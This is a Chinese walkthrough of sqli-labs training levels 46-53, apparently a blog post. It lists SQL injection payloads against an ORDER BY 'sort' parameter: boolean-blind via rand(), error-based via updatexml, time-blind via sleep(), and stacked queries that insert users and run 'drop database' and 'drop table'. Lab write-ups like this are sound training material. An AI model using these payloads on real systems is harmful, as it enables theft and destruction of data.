sqli-labs靶场46-53关(综合)

目录

less46(数字型rand布尔盲注)

less47(报错注入)

less48(数字型时间盲注)

less49(单引号时间盲注)

less50(整数堆叠)

less51(单引号堆叠)

less52(整数堆叠)

less53(单引号堆叠)



less46(数字型rand布尔盲注)

通过get传参sort

发现1,则按第一列排序

2,则按第二列排序

3,则按第三列排序

所以其实就是一个order by语句的作用

利用order by rand()注入,即sort=rand()

sort=rand(1),当布尔值为真时,页面返回:

sort=rand(0),当布尔值为假时,页面返回:

利用这个特性,利用布尔盲注:

?sort=rand(length(database())=8)------爆数据库名长度

发现当参数为8时,返回页面和rand(1)一样,即布尔值为1,所以数据库名长度为8

?sort=rand(substr((select database()),1,1)='s')------爆数据库名

?sort=rand(substr((select table_name from information_schema.tables where table_schema='security' limit0,1),1,1)='e')------爆表名

?sort=rand(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit0,1),1,1)='i')------爆字段名

?sort=rand(substr((select password from security.users limit0,1),1,1)='1')------爆数据



less47(报错注入)

?sort=1'报错------判断为单引号闭合

?sort=1'--+正常回显------确定为单引号闭合

利用报错信息,做报错注入:

?sort=1' or updatexml(1,concat(0x7e,(database()),0x7e),1)--+------爆数据库:

?sort=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+------爆表名

?sort=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+------爆字段名

?sort=1' or updatexml(1,concat(0x7e,(select group_concat(id,username,password) from security.users),0x7e),1)--+------爆数据



less48(数字型时间盲注)

这关是数字型,和less46类似。但是这关没有报错信息,只能盲注 。

可以直接用less46关的rand布尔盲注,也可以使用时间盲注。这关演示时间盲注:

?sort=1 and if((length(database())=8),sleep(5),1)--+------爆数据库名长度

?sort=1 and if((substr((select database()),1,1)='s'),sleep(5),1)--+------爆数据库

?sort=1 and if((substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'),sleep(5),1)--+------爆表

?sort=1 and if((substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='a'),sleep(5),1)--+------爆字段

?sort=1 and if((substr((select password from security.users limit 0,1),1,1)='1'),sleep(5),1)--+------爆数据



less49(单引号时间盲注)

这关和less47类似,都是单引号闭合,但是这关没有报错信息,不能使用报错注入,只能使用时间盲注。

?sort=1' and if(length(database())=8,sleep(5),1)--+------爆数据库名长度

?sort=1' and if(substr((select database()),1,1)='s',sleep(5),1)--+------爆数据库

?sort=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+------爆表

?sort=1' and if(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1)='i',sleep(5),1)--+------爆字段名

?sort=1' and if(substr((select password from security.users limit 0,1),1,1)='1',sleep(5),1)--+------爆数据



less50(整数堆叠)

这关爆库方法和less46一模一样,不做赘述,这里考察的是堆叠注入。

首先判断好闭合类型------数字型

然后利用堆叠注入:

?sort=1;insert users(username,password) values('hello','123');

?sort=1;drop database security;

?sort=1;drop table users;



less51(单引号堆叠)

?sort=1'报错------判断为单引号闭合

?sort=1'--+正常回显------确定为单引号闭合

利用堆叠注入:

?sort=1';insert users(username,password) values('hello','123');

?sort=1';drop database security;

?sort=1';drop table users;



less52(整数堆叠)

尝试各种闭合均不行,初步判断为数字型

然后利用堆叠注入:

?sort=1;insert users(username,password) values('hello','123');

?sort=1;drop database security;

?sort=1;drop table users;



less53(单引号堆叠)

?sort=1'报错

?sort=1'--+正常回显------判断为单引号闭合

利用堆叠注入:

?sort=1';insert users(username,password) values('hello','123');

?sort=1';drop database security;

?sort=1';drop table users;



相关推荐
不辉放弃4 分钟前
ZooKeeper 是什么?
数据库·大数据开发
Goona_18 分钟前
拒绝SQL恐惧:用Python+pyqt打造任意Excel数据库查询系统
数据库·python·sql·excel·pyqt
程序员编程指南1 小时前
Qt 数据库连接池实现与管理
c语言·数据库·c++·qt·oracle
幼儿园老大*3 小时前
数据中心-时序数据库InfluxDB
数据库·时序数据库
daixin88483 小时前
Redis过期数据的删除策略是什么?有哪些?
数据库·redis·缓存
陪我一起学编程4 小时前
MySQL创建普通用户并为其分配相关权限的操作步骤
开发语言·数据库·后端·mysql·oracle
Albert Tan4 小时前
ORACLE DATABASE 23AI+Apex+ORDS -纯享版
数据库·oracle
程序员编程指南4 小时前
Qt OpenGL 集成:开发 3D 图形应用
c语言·数据库·c++·qt·3d
婪苏(Python学习ing)5 小时前
MySQL 与 Redis 基础入门:从安装到核心操作
数据库
幻灭行度6 小时前
通过redis_exporter监控redis cluster
数据库·redis·缓存